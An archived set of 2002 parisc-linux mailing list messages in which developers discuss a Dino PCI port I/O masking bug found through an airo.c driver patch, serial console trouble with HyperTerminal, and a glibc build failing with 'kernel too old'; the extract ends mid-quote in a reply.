Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17006

On Tue, Dec 03, 2002 at 10:06:40PM -0700, LaMont Jones wrote:
> The first part (chage to init_airo_card and it's callers) allows us to call
> pci_enable_device like we need to.

We certainly do...

> The other part (the stuff inside #ifdef __hppa__) is a gross hack that works
> around some issues between dino and the card during initialization where the
> card fails to ack reads of several 2-byte aligned addresses.  With these
> changes, I have a working PCI4800 in my B180.

Grant, I think this is a long-standing bug (Jan 2000!) in Dino's port IO macros.
Look:

#define DINO_PORT_IN(type, size, mask) \
static u##size dino_in##size (struct pci_hba_data *d, u16 addr) \
{ \
        /* tell HW which IO Port address */ \
        gsc_writel((u32) addr & ~3, d->base_addr + DINO_PCI_ADDR); \
        /* generate I/O PORT read cycle */ \
        v = gsc_read##type(d->base_addr+DINO_IO_DATA+(addr&mask)); \

That '& ~3' clears the bottom two bits of the address, so we always read
from a 32-bit aligned address, even if we actually wanted to read the
other 16-bit word or one of the other bytes.  The PORT_OUT define doesn't
mask that way:

#define DINO_PORT_OUT(type, size, mask) \
static void dino_out##size (struct pci_hba_data *d, u16 addr, u##size val) \
{ \
        /* tell HW which CFG address */ \
        gsc_writel((u32) addr, d->base_addr + DINO_PCI_ADDR); \
        /* generate cfg write cycle */ \
        gsc_write##type(cpu_to_le##size(val), d->base_addr+DINO_IO_DATA+(addr&ma
sk)); \

(oops, looks like a comment wasn't updated ;-)

And HPUX doesn't mask addr that way either:

#define DINO_PRE_RD_IO(this, addr) \
        WRITE_UINT32(this->base_addr + DINO_PCI_ADDR, addr);

STATIC uint16_t
dino_rd_io_w()
{
        off += (uint32_t) phndl;
        DINO_PRE_RD_IO(h2p, off);
        data = READ_UINT16(h2p->base_addr + DINO_IO_DATA + (off & 2));

LaMont's doing a rebuild now to check it works, but this seems fairly
obvious to me.  Thoughts?  (Can _anyone_ remember what they were thinking
when they wrote code nearly three years ago?  ;-)

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:25:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lifimage
Date: Wed, 4 Dec 2002 08:24:26 -0800
Lines: 14
Approved: news@gmane.org
Message-ID: <20021204162426.GB21187@tausq.org>
References: <3DA3DE6600007D28@ocpmta4.be.tiscali.com> <003101c299e1$9b2e7680$4fe85982@kabel.utwente.nl> <20021202105023.GL24337@sleepie.demon.co.uk> <003a01c29a1d$cd94b800$4fe85982@kabel.utwente.nl> <20021202165219.GP24337@sleepie.demon.co.uk> <001c01c29b89$f01db9e0$4fe85982@kabel.utwente.nl>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621993 18042 80.91.229.3 (22 Nov 2014 02:06:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tim Kemna <t.kemna@student.utwente.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  4 09:21:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C14A4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Dec 2002 09:21:29 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id AD2A1CD839; Wed,  4 Dec 2002 08:24:26 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <001c01c29b89$f01db9e0$4fe85982@kabel.utwente.nl>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17007

> Now my problem is that I can't get any output. I'm using HyperTerminal 6.3
> on windows 98. The settings are 9600 8-N-1. My serial cable is D9F/D9F.

this is perhaps a dumb question, but are you sure your hyperterminal
settings are correct? i've had a hard time getting hyperterminal to act
as a serial console for anything, be it PCs, PA-RISC machines, Sun
servers, .... of course, that could just be me ;)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lifimage
Date: Wed, 4 Dec 2002 08:35:32 -0800 (PST)
Lines: 39
Approved: news@gmane.org
Message-ID: <20021204163532.75888.qmail@web12508.mail.yahoo.com>
References: <20021204162426.GB21187@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-822234082-1039019732=:75778"
X-Trace: ger.gmane.org 1416621993 18048 80.91.229.3 (22 Nov 2014 02:06:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  4 09:35:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12508.mail.yahoo.com (web12508.mail.yahoo.com [216.136.173.200])
	by dsl2.external.hp.com (Postfix) with SMTP id BEABA4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Dec 2002 09:35:44 -0700 (MST)
Original-Received: from [12.24.253.152] by web12508.mail.yahoo.com via HTTP; Wed, 04 Dec 2002 08:35:32 PST
In-Reply-To: <20021204162426.GB21187@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17008

--0-822234082-1039019732=:75778
Content-Type: text/plain; charset=us-ascii


It's just you....hehe...I've done it on risc boxes quite often from my laptop.  I prefer to use Reflections though.
derek
 Randolph Chung <randolph@tausq.org> wrote:> Now my problem is that I can't get any output. I'm using HyperTerminal 6.3
> on windows 98. The settings are 9600 8-N-1. My serial cable is D9F/D9F.

this is perhaps a dumb question, but are you sure your hyperterminal
settings are correct? i've had a hard time getting hyperterminal to act
as a serial console for anything, be it PCs, PA-RISC machines, Sun
servers, .... of course, that could just be me ;)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now
--0-822234082-1039019732=:75778
Content-Type: text/html; charset=us-ascii

<P>It's just you....hehe...I've done it on risc boxes quite often from my laptop.&nbsp; I prefer to use Reflections though.
<P>derek
<P>&nbsp;<B><I>Randolph Chung &lt;randolph@tausq.org&gt;</I></B> wrote:
<BLOCKQUOTE style="BORDER-LEFT: #1010ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px">&gt; Now my problem is that I can't get any output. I'm using HyperTerminal 6.3<BR>&gt; on windows 98. The settings are 9600 8-N-1. My serial cable is D9F/D9F.<BR><BR>this is perhaps a dumb question, but are you sure your hyperterminal<BR>settings are correct? i've had a hard time getting hyperterminal to act<BR>as a serial console for anything, be it PCs, PA-RISC machines, Sun<BR>servers, .... of course, that could just be me ;)<BR><BR>randolph<BR>-- <BR>Randolph Chung<BR>Debian GNU/Linux Developer, hppa/ia64 ports<BR>http://www.tausq.org/<BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listi
 nfo/parisc-linux</BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Yahoo! Mail Plus</a> - Powerful. Affordable. <a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Sign up now</a>
--0-822234082-1039019732=:75778--


From - Thu Nov 08 21:25:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tim Kemna" <t.kemna@student.utwente.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lifimage
Date: Wed, 4 Dec 2002 17:46:06 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <001201c29bb4$a45d6d40$4fe85982@kabel.utwente.nl>
References: <3DA3DE6600007D28@ocpmta4.be.tiscali.com> <003101c299e1$9b2e7680$4fe85982@kabel.utwente.nl> <20021202105023.GL24337@sleepie.demon.co.uk> <003a01c29a1d$cd94b800$4fe85982@kabel.utwente.nl> <20021202165219.GP24337@sleepie.demon.co.uk> <001c01c29b89$f01db9e0$4fe85982@kabel.utwente.nl> <20021204162426.GB21187@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621993 18054 80.91.229.3 (22 Nov 2014 02:06:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:33 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  4 09:46:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from netlx010.civ.utwente.nl (netlx010.civ.utwente.nl [130.89.1.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE8044829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Dec 2002 09:46:41 -0700 (MST)
Original-Received: from kabel209080 (kabel209080.kabel.utwente.nl [130.89.232.79])
          by netlx010.civ.utwente.nl (8.11.4/HKD) with SMTP id gB4GkZ817023
          for <parisc-linux@lists.parisc-linux.org>; Wed, 4 Dec 2002 15:46:35 -0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2720.3000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-UTwente-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17009

I am pretty sure the settings are correct. Probably I'm using the wrong
cable.

----- Oorspronkelijk bericht -----
Van: "Randolph Chung" <randolph@tausq.org>
Aan: "Tim Kemna" <t.kemna@student.utwente.nl>
CC: <parisc-linux@lists.parisc-linux.org>
Verzonden: woensdag 4 december 2002 17:24
Onderwerp: Re: [parisc-linux] lifimage


> > Now my problem is that I can't get any output. I'm using HyperTerminal
6.3
> > on windows 98. The settings are 9600 8-N-1. My serial cable is D9F/D9F.
>
> this is perhaps a dumb question, but are you sure your hyperterminal
> settings are correct? i've had a hard time getting hyperterminal to act
> as a serial console for anything, be it PCs, PA-RISC machines, Sun
> servers, .... of course, that could just be me ;)
>
> randolph
> --
> Randolph Chung
> Debian GNU/Linux Developer, hppa/ia64 ports
> http://www.tausq.org/
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:25:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] airo.c patch for hppa
Date: Wed, 4 Dec 2002 10:12:47 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20021204171247.GA11629@dsl2.external.hp.com>
References: <20021204050640.GA22117@b180.mmjgroup.com> <20021204144454.P27991@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621993 18061 80.91.229.3 (22 Nov 2014 02:06:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:33 +0000 (UTC)
Cc: LaMont Jones <lamont@b180.mmjgroup.com>,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  4 10:12:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id A944D4829; Wed,  4 Dec 2002 10:12:47 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20021204144454.P27991@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17010

On Wed, Dec 04, 2002 at 02:44:54PM +0000, Matthew Wilcox wrote:
> Grant, I think this is a long-standing bug (Jan 2000!) in
> Dino's port IO macros.

It sounds like there is...

...
> That '& ~3' clears the bottom two bits of the address, so we always read
> from a 32-bit aligned address, even if we actually wanted to read the
> other 16-bit word or one of the other bytes.

The Dino ERS clearly says the AD[0:1] are used for IO Port space.

I gather IO_DATA behaves differently than MEM_DATA.
MEM_DATA definitely uses byte enables to manage subword bytes
and ignores the lower two bits of the address. The GSC byte enables
are forwarded to the PCI bus when doing subword MMIO reads.
Because MEM_DATA was added much later, it seems to have been implemented
with more insight into how GSC/PCI can interact.

> The PORT_OUT define doesn't mask that way:

Right.

...
> LaMont's doing a rebuild now to check it works, but this seems fairly
> obvious to me.  Thoughts?  (Can _anyone_ remember what they were thinking
> when they wrote code nearly three years ago?  ;-)

You are on the right track. And no, I don't remember.

thanks,
grant


From - Thu Nov 08 21:25:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FATAL: kernel too old
Date: Wed, 4 Dec 2002 17:13:07 -0500 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <200212042213.gB4MD83F000234__49752.9459455565$1416621994$gmane$org@hiauly1.hia.nrc.ca>
References: <20021203024358.GA5487@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621994 18069 80.91.229.3 (22 Nov 2014 02:06:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:34 +0000 (UTC)
Cc: libc-alpha@sources.redhat.com, debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  4 15:13:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id F13164829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Dec 2002 15:13:20 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gB4MD9ot000235;
	Wed, 4 Dec 2002 17:13:09 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gB4MD83F000234;
	Wed, 4 Dec 2002 17:13:08 -0500 (EST)
In-Reply-To: <20021203024358.GA5487@systemhalted> from "Carlos O'Donell" at Dec 2, 2002 09:43:58 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17011

I'm getting the following error building glibc-2.3.1-5:

CPP='/home/dave/opt/gnu/bin/gcc -E -x c-header'  /home/dave/glibc-2.3.1-5/glibc-
2.3.1/objdir/elf/ld.so.1 --library-path /home/dave/glibc-2.3.1-5/glibc-2.3.1/obj
dir:/home/dave/glibc-2.3.1-5/glibc-2.3.1/objdir/math:/home/dave/glibc-2.3.1-5/gl
ibc-2.3.1/objdir/elf:/home/dave/glibc-2.3.1-5/glibc-2.3.1/objdir/dlfcn:/home/dav
e/glibc-2.3.1-5/glibc-2.3.1/objdir/nss:/home/dave/glibc-2.3.1-5/glibc-2.3.1/objd
ir/nis:/home/dave/glibc-2.3.1-5/glibc-2.3.1/objdir/rt:/home/dave/glibc-2.3.1-5/g
libc-2.3.1/objdir/resolv:/home/dave/glibc-2.3.1-5/glibc-2.3.1/objdir/crypt:/home
/dave/glibc-2.3.1-5/glibc-2.3.1/objdir/linuxthreads /home/dave/glibc-2.3.1-5/gli
bc-2.3.1/objdir/sunrpc/rpcgen -Y ../scripts -c rpcsvc/bootparam_prot.x -o /home/
dave/glibc-2.3.1-5/glibc-2.3.1/objdir/sunrpc/xbootparam_prot.T
FATAL: kernel too old
make[2]: *** [/home/dave/glibc-2.3.1-5/glibc-2.3.1/objdir/sunrpc/xbootparam_prot
.stmp] Error 1

Is 2.4.18-pa52 really too old?

I configured with

../glibc/configure --build=hppa-linux --host=hppa-linux --target=hppa-linux --prefix=/home/dave/opt/gnu --disable-profile --without-cvs --enable-add-ons --enable-hacker-mode --enable-kernel=2.4.8

Oh, I noticed that hppa-linux is not listed in INSTALL or README.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: FATAL: kernel too old
Date: Wed, 4 Dec 2002 14:17:21 -0800
Lines: 2
Approved: news@gmane.org
Message-ID: <200212042217.gB4MHLs32733__4951.22396755523$1416621994$gmane$org@magilla.sf.frob.com>
References: <200212042213.gB4MD83F000234@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621994 18074 80.91.229.3 (22 Nov 2014 02:06:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:34 +0000 (UTC)
Cc: carlos@baldric.uwo.ca (Carlos O'Donell),
	libc-alpha@sources.redhat.com, debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  4 15:17:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gateway.sf.frob.com (adsl-64-163-212-31.dsl.snfc21.pacbell.net [64.163.212.31])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7FD3483C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Dec 2002 15:17:28 -0700 (MST)
Original-Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id 9478D36DE; Wed,  4 Dec 2002 14:17:22 -0800 (PST)
Original-Received: (from roland@localhost)
	by magilla.sf.frob.com (8.11.6/8.11.6) id gB4MHLs32733;
	Wed, 4 Dec 2002 14:17:21 -0800
In-Reply-To: John David Anglin's message of  Wednesday, 4 December 2002 17:13:07 -0500 <200212042213.gB4MD83F000234@hiauly1.hia.nrc.ca>
X-Antipastobozoticataclysm: When George Bush projectile vomits antipasto on the Japanese.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17012

Check that _dl_osversion (_rtld_global._dl_osversion) is getting initialized.


From - Thu Nov 08 21:25:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FATAL: kernel too old
Date: Wed, 4 Dec 2002 22:25:57 +0000 (GMT)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0212042223110.18467-100000__17335.8973734596$1416621995$gmane$org@sal.ucc.ie>
References: <200212042213.gB4MD83F000234@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621995 18084 80.91.229.3 (22 Nov 2014 02:06:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:35 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	<libc-alpha@sources.redhat.com>, <debian-glibc@lists.debian.org>,
	<parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  4 15:26:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6D2EB4832
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Dec 2002 15:26:13 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id gB4MQb813689;
	Wed, 4 Dec 2002 22:26:37 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <200212042213.gB4MD83F000234@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17013

On Wed, 4 Dec 2002, John David Anglin wrote:

> I'm getting the following error building glibc-2.3.1-5:
>
> CPP='/home/dave/opt/gnu/bin/gcc -E -x c-header'  /home/dave/glibc-2.3.1-5/glibc-
> 2.3.1/objdir/elf/ld.so.1 --library-path /home/dave/glibc-2.3.1-5/glibc-2.3.1/obj
> dir:/home/dave/glibc-2.3.1-5/glibc-2.3.1/objdir/math:/home/dave/glibc-2.3.1-5/gl
> ibc-2.3.1/objdir/elf:/home/dave/glibc-2.3.1-5/glibc-2.3.1/objdir/dlfcn:/home/dav
